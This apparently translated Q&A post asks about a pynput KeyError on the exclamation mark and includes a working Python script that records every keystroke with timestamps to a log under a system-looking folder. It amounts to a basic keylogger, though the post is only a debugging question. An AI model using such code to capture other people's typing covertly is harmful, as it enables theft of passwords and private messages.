代码之家  ›  专栏  ›  技术社区  ›  Michi Gruber

pynput组合感叹号

  •  0
  • Michi Gruber  · 技术社区  · 7 年前

    这是我的代码:

    from pynput.keyboard import Key, Listener
    import os
    import logging
    
    log_dir = "C:\WindowsLogs\dist"
    filename = "logging"
    logging.basicConfig(filename=(log_dir + filename), level=logging.DEBUG, format='%(asctime)s: %(message)s')
    
    def on_press(key):
        logging.info(str(key))
    
    with Listener(on_press=on_press) as listener:
        listener.join()
    

    一切都很好,它也保存了每一把钥匙。但当按下感叹号时,会出现错误:

    Traceback (most recent call last):
    File "test2.py", line 16, in <module>
    listener.join()
    
    File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 185, in join
    six.reraise(exc_type, exc_value, exc_traceback)
    
    File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 140, in inner
    return f(self, *args, **kwargs)
    
    File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 232, in _process
    key = self._event_to_key(msg, vk)
    
    File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 265, in _event_to_key
    msg in self._PRESS_MESSAGES))
    
    File "C:\Python27\lib\site-packages\pynput\keyboard\_base.py", line 49, in __init__
    'COMBINING ' + unicodedata.name(self.char))
    
    KeyError: "undefined character name 'COMBINING EXCLAMATION MARK'"
    

    1 回复  |  直到 7 年前
        1
  •  0
  •   Michi Gruber    7 年前

    我得到了它!这是pynput中的一个bug。安装了一个旧版本,现在它工作得很好!